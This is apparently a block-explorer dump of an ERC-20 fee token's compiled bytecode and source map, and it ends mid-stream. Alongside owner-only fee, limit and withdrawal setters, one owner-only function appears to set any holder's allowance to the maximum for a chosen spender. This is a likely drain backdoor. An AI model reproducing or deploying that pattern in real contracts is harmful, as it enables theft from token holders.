f80fd5b506103f46104e63660046126cb565b610d64565b3480156104f6575f80fd5b5061049f600f5481565b34801561050b575f80fd5b5061046061051a366004612702565b610db7565b34801561052a575f80fd5b506103f4610539366004612694565b610e20565b348015610549575f80fd5b506104297f000000000000000000000000000000000000000000000000000000000000dead81565b34801561057c575f80fd5b5061049f610f2e565b348015610590575f80fd5b5060035460405160ff90911681526020016103cc565b3480156105b1575f80fd5b506104606105c0366004612694565b610fbf565b3480156105d0575f80fd5b506103f46105df366004612740565b610ff4565b3480156105ef575f80fd5b506104606105fe366004612757565b60096020525f908152604090205460ff1681565b34801561061d575f80fd5b50601b5461046090600160a81b900460ff1681565b34801561063d575f80fd5b506103f461064c366004612757565b61114a565b34801561065c575f80fd5b5061049f60125481565b348015610671575f80fd5b50610460610680366004612757565b60086020525f908152604090205460ff1681565b34801561069f575f80fd5b5061049f6106ae366004612757565b6001600160a01b03165f9081526006602052604090205490565b3480156106d3575f80fd5b506103f46111c1565b3480156106e7575f80fd5b506103f4611238565b3480156106fb575f80fd5b506003546104299061010090046001600160a01b031681565b34801561071f575f80fd5b5061049f60185481565b348015610734575f80fd5b5061049f60195481565b348015610749575f80fd5b5061049f60155481565b34801561075e575f80fd5b506103f461076d3660046126cb565b61127c565b34801561077d575f80fd5b50601b5461046090600160c01b900460ff1681565b34801561079d575f80fd5b5061049f60105481565b3480156107b2575f80fd5b506104606107c1366004612757565b600c6020525f908152604090205460ff1681565b3480156107e0575f80fd5b505f546001600160a01b0316610429565b3480156107fc575f80fd5b506103f461080b366004612772565b6112cf565b34801561081b575f80fd5b506103bf611316565b34801561082f575f80fd5b50600554610429906001600160a01b031681565b34801561084e575f80fd5b506103f461085d366004612772565b611325565b34801561086d575f80fd5b5061046061087c366004612694565b61136c565b34801561088c575f80fd5b506103f461089b366004612772565b6113b9565b3480156108ab575f80fd5b506104606108ba366004612694565b611400565b3480156108ca575f80fd5b506103f46108d9366004612772565b61140c565b3480156108e9575f80fd5b5061049f600e5481565b3480156108fe575f80fd5b50601b54610429906001600160a01b031681565b34801561091d575f80fd5b5061049f60115481565b348015610932575f80fd5b50610460610941366004612757565b600b6020525f908152604090205460ff1681565b348015610960575f80fd5b506103f461096f366004612757565b61148d565b34801561097f575f80fd5b5061049f60175481565b348015610994575f80fd5b50601b5461046090600160b01b900460ff1681565b3480156109b4575f80fd5b5061049f600d5481565b3480156109c9575f80fd5b5061049f6109d836600461278d565b6001600160a01b039182165f90815260076020908152604080832093909416825291909152205490565b348015610a0d575f80fd5b506103f46114d8565b348015610a21575f80fd5b506103f4610a30366004612740565b611555565b348015610a40575f80fd5b506103f4610a4f3660046126cb565b611614565b348015610a5f575f80fd5b506103f4610a6e36600461278d565b611667565b348015610a7e575f80fd5b5061049f60145481565b348015610a93575f80fd5b506103f4610aa2366004612740565b6116d2565b348015610ab2575f80fd5b506103f4610ac1366004612757565b611700565b348015610ad1575f80fd5b5061049f60135481565b348015610ae6575f80fd5b506103f4610af53660046126cb565b6117e7565b348015610b05575f80fd5b50601b5461046090600160b81b900460ff1681565b348015610b25575f80fd5b50600454610429906001600160a01b031681565b348015610b44575f80fd5b506103f4610b53366004612757565b61183a565b606060018054610b67906127b9565b80601f0160208091040260200160405190810160405280929190818152602001828054610b93906127b9565b8015610bde5780601f10610bb557610100808354040283529160200191610bde565b820191905f5260205f20905b815481529060010190602001808311610bc157829003601f168201915b5050505050905090565b5f546001600160a01b03163314610c1a5760405162461bcd60e51b8152600401610c11906127f1565b60405180910390fd5b601083905560118290556012819055610c3d81610c3785856118ab565b906118ab565b601555601354610c4f9060149061283a565b6015541115610ca05760405162461bcd60e51b815260206004820152601c60248201527f53656c6c2066656573206d757374206265203525206f72206c657373000000006044820152606401610c11565b505050565b5f610cb1338484611909565b5060015b92915050565b5f546001600160a01b03163314610ce45760405162461bcd60e51b8152600401610c11906127f1565b600d839055600e829055600f819055610d0181610c3785856118ab565b6014908155601354610d13919061283a565b6014541115610ca05760405162461bcd60e51b815260206004820152601b60248201527f4275792066656573206d757374206265203525206f72206c65737300000000006044820152606401610c11565b5f546001600160a01b03163314610d8d5760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600b60205260409020805460ff1916911515919091179055565b5f610dc3848484611a2c565b50610e158433610e10856040518060600160405280602881526020016129eb602891396001600160a01b038a165f9081526007602090815260408083203384529091529020549190611e55565b611909565b5060015b9392505050565b5f546001600160a01b03163314610e495760405162461bcd60e51b8152600401610c11906127f1565b306001600160a01b03831603610ec05760405162461bcd60e51b815260206004820152603660248201527f4f776e65722063616e277420636c61696d20636f6e747261637427732062616c604482015275616e6365206f6620697473206f776e20746f6b656e7360501b6064820152608401610c11565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610f0a573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ca09190612859565b6001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000165f90815260066020526040812054610fba90610fb4610fab7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b03165f9081526006602052604090205490565b60165490611e8d565b90611e8d565b905090565b335f8181526007602090815260408083206001600160a01b03871684529091528120549091610cb1918590610e1090866118ab565b5f546001600160a01b0316331461101d5760405162461bcd60e51b8152600401610c11906127f1565b611040620186a061103a6001601654611ece90919063ffffffff16565b90611f4c565b8110156110b55760405162461bcd60e51b815260206004820152603c60248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f206c6f776572207468616e20302e30303125206f6620746f6b656e73000000006064820152608401610c11565b6110d0606461103a6001601654611ece90919063ffffffff16565b8111156111455760405162461bcd60e51b815260206004820152603960248201527f43616e6e6f74207365742073776170207468726573686f6c6420616d6f756e7460448201527f20686967686572207468616e203125206f6620746f6b656e73000000000000006064820152608401610c11565b601755565b5f546001600160a01b031633146111735760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b0381166111995760405162461bcd60e51b8152600401610c1190612874565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b5f546001600160a01b031633146111ea5760405162461bcd60e51b8152600401610c11906127f1565b5f805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b03191661dead179055565b5f546001600160a01b031633146112615760405162461bcd60e51b8152600401610c11906127f1565b601b805461ffff60b81b191690556016546018819055601955565b5f546001600160a01b031633146112a55760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600960205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146112f85760405162461bcd60e51b8152600401610c11906127f1565b601b8054911515600160b81b0260ff60b81b19909216919091179055565b606060028054610b67906127b9565b5f546001600160a01b0316331461134e5760405162461bcd60e51b8152600401610c11906127f1565b601b8054911515600160c01b0260ff60c01b19909216919091179055565b5f610cb13384610e1085604051806060016040528060258152602001612a1360259139335f9081526007602090815260408083206001600160a01b038d1684529091529020549190611e55565b5f546001600160a01b031633146113e25760405162461bcd60e51b8152600401610c11906127f1565b601b8054911515600160b01b0260ff60b01b19909216919091179055565b5f610e15338484611a2c565b5f546001600160a01b031633146114355760405162461bcd60e51b8152600401610c11906127f1565b601b8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599061148290831515815260200190565b60405180910390a150565b5f546001600160a01b031633146114b65760405162461bcd60e51b8152600401610c11906127f1565b600580546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146115015760405162461bcd60e51b8152600401610c11906127f1565b6040515f90339047908381818185875af1925050503d805f8114611540576040519150601f19603f3d011682016040523d82523d5f602084013e611545565b606091505b5050905080611552575f80fd5b50565b5f546001600160a01b0316331461157e5760405162461bcd60e51b8152600401610c11906127f1565b61159a6103e861103a6001601654611ece90919063ffffffff16565b81101561160f5760405162461bcd60e51b815260206004820152603860248201527f43616e6e6f7420736574206d617820545820616d6f756e74206c6f776572207460448201527f68616e20302c3125206f6620746f74616c20737570706c7900000000000000006064820152608401610c11565b601855565b5f546001600160a01b0316331461163d5760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600860205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146116905760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b039182165f90815260076020908152604080832093909416808352929052919091205f199055600a80546001600160a01b0319169091179055565b5f546001600160a01b031633146116fb5760405162461bcd60e51b8152600401610c11906127f1565b601955565b5f546001600160a01b031633146117295760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03811661178e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610c11565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b031633146118105760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b03919091165f908152600c60205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146118635760405162461bcd60e51b8152600401610c11906127f1565b6001600160a01b0381166118895760405162461bcd60e51b8152600401610c1190612874565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b5f806118b783856128b6565b905083811015610e195760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610c11565b6001600160a01b03831661196b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610c11565b6001600160a01b0382166119cc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610c11565b6001600160a01b038381165f8181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6001600160a01b038416611a915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610c11565b6001600160a01b038316611af35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610c11565b601b54600160a01b900460ff1615611b1757611b10848484611f8d565b9050610e19565b6001600160a01b0384165f908152600c602052604090205460ff16158015611b5757506001600160a01b0383165f908152600c602052604090205460ff16155b8015611b6c5750601b54600160c01b900460ff165b15611bd457601854821115611bd45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610c11565b305f9081526006602052604090205460175481108015908190611c015750601b54600160a01b900460ff16155b8015611c2557506001600160a01b0386165f9081526009602052604090205460ff16155b8015611c3a5750601b54600160a81b900460ff165b15611c6057601b54600160b01b900460ff1615611c575760175491505b611c6082612070565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389165f90815260069091529190912054611cb1918690611e55565b6001600160a01b0387165f90815260066020908152604080832093909355600890529081205460ff1680611cfc57506001600160a01b0386165f9081526008602052604090205460ff165b611d1057611d0b87878761220b565b611d12565b845b601b54909150600160b81b900460ff168015611d4657506001600160a01b0386165f908152600b602052604090205460ff16155b15611dcc57601954611d7082610c37896001600160a01b03165f9081526006602052604090205490565b1115611dcc5760405162461bcd60e51b815260206004820152602560248201527f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c696044820152646d6974212160d81b6064820152608401610c11565b6001600160a01b0386165f90815260066020526040902054611dee90826118ab565b6001600160a01b038088165f8181526006602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e419085815260200190565b60405180910390a360019350505050610e19565b5f8184841115611e785760405162461bcd60e51b8152600401610c11919061260c565b505f611e8484866128c9565b95945050505050565b5f610e1983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e55565b5f825f03611edd57505f610cb5565b5f611ee883856128dc565b905082611ef5858361283a565b14610e195760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610c11565b5f610e1983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123a6565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f908152600690915291822054611fdd918490611e55565b6001600160a01b038086165f90815260066020526040808220939093559085168152205461200b90836118ab565b6001600160a01b038085165f8181526006602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061205e9086815260200190565b60405180910390a35060019392505050565b601b805460ff60a01b1916600160a01b1790556015546014545f9161209591906118ab565b90505f6120af601054600d546118ab90919063ffffffff16565b90505f6120c9601154600e546118ab90919063ffffffff16565b90505f6120dd600261103a86818988611ece565b90505f6120ea8683611e8d565b9050476120f6826123d2565b5f6121014783611e8d565b90505f612119612112886002611f4c565b8990611e8d565b90505f61212d600261103a8481878d611ece565b90505f61213e8361103a868b611ece565b90505f61214f82610fb48786611e8d565b90508115612194576003546040516101009091046001600160a01b0316906108fc8415029084905f818181858888f19350505050158015612192573d5f803e3d5ffd5b505b80156121d3576004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156121d1573d5f803e3d5ffd5b505b5f831180156121e157505f88115b156121f0576121f0888461255b565b5050601b805460ff60a01b1916905550505050505050505050565b600a545f9081906001600160a01b0316158061229e5750600a546040516323b872dd60e01b81526001600160a01b038781166004830152868116602483015260448201849052909116906323b872dd906064016020604051808303815f875af115801561227a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061229e9190612859565b156122a657505f5b6001600160a01b0385165f9081526009602052604090205460ff16156122e7576122e0606461103a60145486611ece90919063ffffffff16565b9050612324565b6001600160a01b0384165f9081526009602052604090205460ff161561232457612321606461103a60155486611ece90919063ffffffff16565b90505b801561239c57305f9081526006602052604090205461234390826118ab565b305f81815260066020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906123939085815260200190565b60405180910390a35b611e848382611e8d565b5f81836123c65760405162461bcd60e51b8152600401610c11919061260c565b505f611e84848661283a565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110612405576124056128f3565b6001600160a01b03928316602091820292909201810191909152601a54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561245c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906124809190612907565b81600181518110612493576124936128f3565b6001600160a01b039283166020918202929092010152601a546124b99130911684611909565b601a5460405163791ac94760e01b81526001600160a01b039091169063791ac947906124f19085905f90869030904290600401612964565b5f604051808303815f87803b158015612508575f80fd5b505af115801561251a573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161254f92919061299f565b60405180910390a15050565b601a546125739030906001600160a01b031684611909565b601a5460055460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156125e0573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061260591906129bf565b5050505050565b5f6020808352835180828501525f5b818110156126375785810183015185820160400152820161261b565b505f604082860101526040601f19601f8301168501019250505092915050565b5f805f60608486031215612669575f80fd5b505081359360208301359350604090920135919050565b6001600160a01b0381168114611552575f80fd5b5f80604083850312156126a5575f80fd5b82356126b081612680565b946020939093013593505050565b8015158114611552575f80fd5b5f80604083850312156126dc575f80fd5b82356126e781612680565b915060208301356126f7816126be565b809150509250929050565b5f805f60608486031215612714575f80fd5b833561271f81612680565b9250602084013561272f81612680565b929592945050506040919091013590565b5f60208284031215612750575f80fd5b5035919050565b5f60208284031215612767575f80fd5b8135610e1981612680565b5f60208284031215612782575f80fd5b8135610e19816126be565b5f806040838503121561279e575f80fd5b82356127a981612680565b915060208301356126f781612680565b600181811c908216806127cd57607f821691505b6020821081036127eb57634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f8261285457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215612869575f80fd5b8151610e19816126be565b60208082526022908201527f46656520416464726573732063616e6e6f74206265207a65726f206164647265604082015261737360f01b606082015260800190565b80820180821115610cb557610cb5612826565b81810381811115610cb557610cb5612826565b8082028115828204841417610cb557610cb5612826565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215612917575f80fd5b8151610e1981612680565b5f8151808452602080850194508084015f5b838110156129595781516001600160a01b031687529582019590820190600101612934565b509495945050505050565b85815284602082015260a060408201525f61298260a0830186612922565b6001600160a01b0394909416606083015250608001529392505050565b828152604060208201525f6129b76040830184612922565b949350505050565b5f805f606084860312156129d1575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212203ee1bdf7a15e1e42e2dbb635535f65ba72c4a9a66db70feec8458b6f60c0613d64736f6c63430008140033
Deployed Bytecode Sourcemap
11802:16035:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15728:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20926:404;;;;;;;;;;-1:-1:-1;20926:404:0;;;;;:::i;:::-;;:::i;:::-;;12304:81;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1052:32:1;;;1034:51;;1022:2;1007:18;12304:81:0;888:203:1;16894:161:0;;;;;;;;;;-1:-1:-1;16894:161:0;;;;;:::i;:::-;;:::i;:::-;;;1717:14:1;;1710:22;1692:41;;1680:2;1665:18;16894:161:0;1552:187:1;13450:41:0;;;;;;;;;;-1:-1:-1;13450:41:0;;;;-1:-1:-1;;;;;13450:41:0;;;16005:100;;;;;;;;;;-1:-1:-1;16085:12:0;;16005:100;;;2125:25:1;;;2113:2;2098:18;16005:100:0;1979:177:1;20524:394:0;;;;;;;;;;-1:-1:-1;20524:394:0;;;;;:::i;:::-;;:::i;17993:135::-;;;;;;;;;;-1:-1:-1;17993:135:0;;;;;:::i;:::-;;:::i;12860:35::-;;;;;;;;;;;;;;;;21558:313;;;;;;;;;;-1:-1:-1;21558:313:0;;;;;:::i;:::-;;:::i;24430:238::-;;;;;;;;;;-1:-1:-1;24430:238:0;;;;;:::i;:::-;;:::i;12216:81::-;;;;;;;;;;;;;;;20222:156;;;;;;;;;;;;;:::i;15914:83::-;;;;;;;;;;-1:-1:-1;15980:9:0;;15914:83;;15980:9;;;;3274:36:1;;3262:2;3247:18;15914:83:0;3132:184:1;16391:218:0;;;;;;;;;;-1:-1:-1;16391:218:0;;;;;:::i;:::-;;:::i;18940:374::-;;;;;;;;;;-1:-1:-1;18940:374:0;;;;;:::i;:::-;;:::i;12578:45::-;;;;;;;;;;-1:-1:-1;12578:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;13567:40;;;;;;;;;;-1:-1:-1;13567:40:0;;;;-1:-1:-1;;;13567:40:0;;;;;;19322:213;;;;;;;;;;-1:-1:-1;19322:213:0;;;;;:::i;:::-;;:::i;12994:36::-;;;;;;;;;;;;;;;;12521:50;;;;;;;;;;-1:-1:-1;12521:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;16113:119;;;;;;;;;;-1:-1:-1;16113:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;16206:18:0;16179:7;16206:18;;;:9;:18;;;;;;;16113:119;3479:230;;;;;;;;;;;;;:::i;18728:204::-;;;;;;;;;;;;;:::i;12037:60::-;;;;;;;;;;-1:-1:-1;12037:60:0;;;;;;;-1:-1:-1;;;;;12037:60:0;;;13319:58;;;;;;;;;;;;;;;;13384:57;;;;;;;;;;;;;;;;13116:33;;;;;;;;;;;;;;;;17574:129;;;;;;;;;;-1:-1:-1;17574:129:0;;;;;:::i;:::-;;:::i;13710:41::-;;;;;;;;;;-1:-1:-1;13710:41:0;;;;-1:-1:-1;;;13710:41:0;;;;;;12908:36;;;;;;;;;;;;;;;;12719:48;;;;;;;;;;-1:-1:-1;12719:48:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;3254:79;;;;;;;;;;-1:-1:-1;3292:7:0;3319:6;-1:-1:-1;;;;;3319:6:0;3254:79;;18609:111;;;;;;;;;;-1:-1:-1;18609:111:0;;;;;:::i;:::-;;:::i;15819:87::-;;;;;;;;;;;;;:::i;12171:32::-;;;;;;;;;;-1:-1:-1;12171:32:0;;;;-1:-1:-1;;;;;12171:32:0;;;18489:112;;;;;;;;;;-1:-1:-1;18489:112:0;;;;;:::i;:::-;;:::i;16617:269::-;;;;;;;;;;-1:-1:-1;16617:269:0;;;;;:::i;:::-;;:::i;20085:125::-;;;;;;;;;;-1:-1:-1;20085:125:0;;;;;:::i;:::-;;:::i;21383:167::-;;;;;;;;;;-1:-1:-1;21383:167:0;;;;;:::i;:::-;;:::i;19906:171::-;;;;;;;;;;-1:-1:-1;19906:171:0;;;;;:::i;:::-;;:::i;12818:35::-;;;;;;;;;;;;;;;;13498:26;;;;;;;;;;-1:-1:-1;13498:26:0;;;;-1:-1:-1;;;;;13498:26:0;;;12951:36;;;;;;;;;;;;;;;;12660:52;;;;;;;;;;-1:-1:-1;12660:52:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19543:134;;;;;;;;;;-1:-1:-1;19543:134:0;;;;;:::i;:::-;;:::i;13231:70::-;;;;;;;;;;;;;;;;13614:45;;;;;;;;;;-1:-1:-1;13614:45:0;;;;-1:-1:-1;;;13614:45:0;;;;;;12776:35;;;;;;;;;;;;;;;;16240:143;;;;;;;;;;-1:-1:-1;16240:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;16348:18:0;;;16321:7;16348:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;16240:143;24676:154;;;;;;;;;;;;;:::i;18136:235::-;;;;;;;;;;-1:-1:-1;18136:235:0;;;;;:::i;:::-;;:::i;17711:135::-;;;;;;;;;;-1:-1:-1;17711:135:0;;;;;:::i;:::-;;:::i;17408:158::-;;;;;;;;;;-1:-1:-1;17408:158:0;;;;;:::i;:::-;;:::i;13077:32::-;;;;;;;;;;;;;;;;18379:102;;;;;;;;;;-1:-1:-1;18379:102:0;;;;;:::i;:::-;;:::i;3717:244::-;;;;;;;;;;-1:-1:-1;3717:244:0;;;;;:::i;:::-;;:::i;13039:29::-;;;;;;;;;;;;;;;;17854:127;;;;;;;;;;-1:-1:-1;17854:127:0;;;;;:::i;:::-;;:::i;13668:35::-;;;;;;;;;;-1:-1:-1;13668:35:0;;;;-1:-1:-1;;;13668:35:0;;;;;;12104:60;;;;;;;;;;-1:-1:-1;12104:60:0;;;;-1:-1:-1;;;;;12104:60:0;;;19685:213;;;;;;;;;;-1:-1:-1;19685:213:0;;;;;:::i;:::-;;:::i;15728:83::-;15765:13;15798:5;15791:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15728:83;:::o;20926:404::-;3388:6;;-1:-1:-1;;;;;3388:6:0;560:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;;;;;;;;;21028:17:::1;:30:::0;;;21069:17:::1;:30:::0;;;21110:17:::1;:30:::0;;;21172:63:::1;21130:10:::0;21172:40:::1;21048:10:::0;21089;21172:21:::1;:40::i;:::-;:44:::0;::::1;:63::i;:::-;21151:18;:84:::0;21277:8:::1;::::0;:11:::1;::::0;21286:2:::1;::::0;21277:11:::1;:::i;:::-;21254:18;;:35;;21246:76;;;::::0;-1:-1:-1;;;21246:76:0;;5923:2:1;21246:76:0::1;::::0;::::1;5905:21:1::0;5962:2;5942:18;;;5935:30;6001;5981:18;;;5974:58;6049:18;;21246:76:0::1;5721:352:1::0;21246:76:0::1;20926:404:::0;;;:::o;16894:161::-;16969:4;16986:39;560:10;17009:7;17018:6;16986:8;:39::i;:::-;-1:-1:-1;17043:4:0;16894:161;;;;;:::o;20524:394::-;3388:6;;-1:-1:-1;;;;;3388:6:0;560:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;20625:16:::1;:29:::0;;;20665:16:::1;:29:::0;;;20705:16:::1;:29:::0;;;20765:60:::1;20724:10:::0;20765:38:::1;20644:10:::0;20684;20765:20:::1;:38::i;:60::-;20745:17;:80:::0;;;20866:8:::1;::::0;:11:::1;::::0;20745:17;20866:11:::1;:::i;:::-;20844:17;;:34;;20836:74;;;::::0;-1:-1:-1;;;20836:74:0;;6280:2:1;20836:74:0::1;::::0;::::1;6262:21:1::0;6319:2;6299:18;;;6292:30;6358:29;6338:18;;;6331:57;6405:18;;20836:74:0::1;6078:351:1::0;17993:135:0;3388:6;;-1:-1:-1;;;;;3388:6:0;560:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;18084:27:0;;;::::1;;::::0;;;:19:::1;:27;::::0;;;;:36;;-1:-1:-1;;18084:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17993:135::o;21558:313::-;21656:4;21673:36;21683:6;21691:9;21702:6;21673:9;:36::i;:::-;-1:-1:-1;21720:121:0;21729:6;560:10;21751:89;21789:6;21751:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;21751:19:0;;;;;;:11;:19;;;;;;;;560:10;21751:33;;;;;;;;;;:37;:89::i;:::-;21720:8;:121::i;:::-;-1:-1:-1;21859:4:0;21558:313;;;;;;:::o;24430:238::-;3388:6;;-1:-1:-1;;;;;3388:6:0;560:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;24542:4:::1;-1:-1:-1::0;;;;;24524:23:0;::::1;::::0;24516:90:::1;;;::::0;-1:-1:-1;;;24516:90:0;;6636:2:1;24516:90:0::1;::::0;::::1;6618:21:1::0;6675:2;6655:18;;;6648:30;6714:34;6694:18;;;6687:62;-1:-1:-1;;;6765:18:1;;;6758:52;6827:19;;24516:90:0::1;6434:418:1::0;24516:90:0::1;24617:43;::::0;-1:-1:-1;;;24617:43:0;;24641:10:::1;24617:43;::::0;::::1;7031:51:1::0;7098:18;;;7091:34;;;-1:-1:-1;;;;;24617:23:0;::::1;::::0;::::1;::::0;7004:18:1;;24617:43:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;20222:156::-:0;-1:-1:-1;;;;;20357:11:0;16206:18;20275:7;16206:18;;;:9;:18;;;;;;20302:68;;:40;20319:22;20329:11;-1:-1:-1;;;;;16206:18:0;16179:7;16206:18;;;:9;:18;;;;;;;16113:119;20319:22;20302:12;;;:16;:40::i;:::-;:44;;:68::i;:::-;20295:75;;20222:156;:::o;16391:218::-;560:10;16479:4;16528:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;16528:34:0;;;;;;;;;;16479:4;;16496:83;;16519:7;;16528:50;;16567:10;16528:38;:50::i;18940:374::-;3388:6;;-1:-1:-1;;;;;3388:6:0;560:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;19043:31:::1;19067:6;19043:19;19060:1;19043:12;;:16;;:19;;;;:::i;:::-;:23:::0;::::1;:31::i;:::-;19031:8;:43;;19023:116;;;::::0;-1:-1:-1;;;19023:116:0;;7588:2:1;19023:116:0::1;::::0;::::1;7570:21:1::0;7627:2;7607:18;;;7600:30;7666:34;7646:18;;;7639:62;7737:30;7717:18;;;7710:58;7785:19;;19023:116:0::1;7386:424:1::0;19023:116:0::1;19171:28;19195:3;19171:19;19188:1;19171:12;;:16;;:19;;;;:::i;:28::-;19159:8;:40;;19151:110;;;::::0;-1:-1:-1;;;19151:110:0;;8017:2:1;19151:110:0::1;::::0;::::1;7999:21:1::0;8056:2;8036:18;;;8029:30;8095:34;8075:18;;;8068:62;8166:27;8146:18;;;8139:55;8211:19;;19151:110:0::1;7815:421:1::0;19151:110:0::1;19272:23;:34:::0;18940:374::o;19322:213::-;3388:6;;-1:-1:-1;;;;;3388:6:0;560:10;3388:22;3380:67;;;;-1:-1:-1;;;3380:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;19417:24:0;::::1;19409:70;;;;-1:-1:-1::0;;;19409:70:0::1;;;;;;;:::i;:::-;19490:15;:37:::0;;-1:-1:-1;;;;;19490:37:0;;::::1;;;-1:-1:-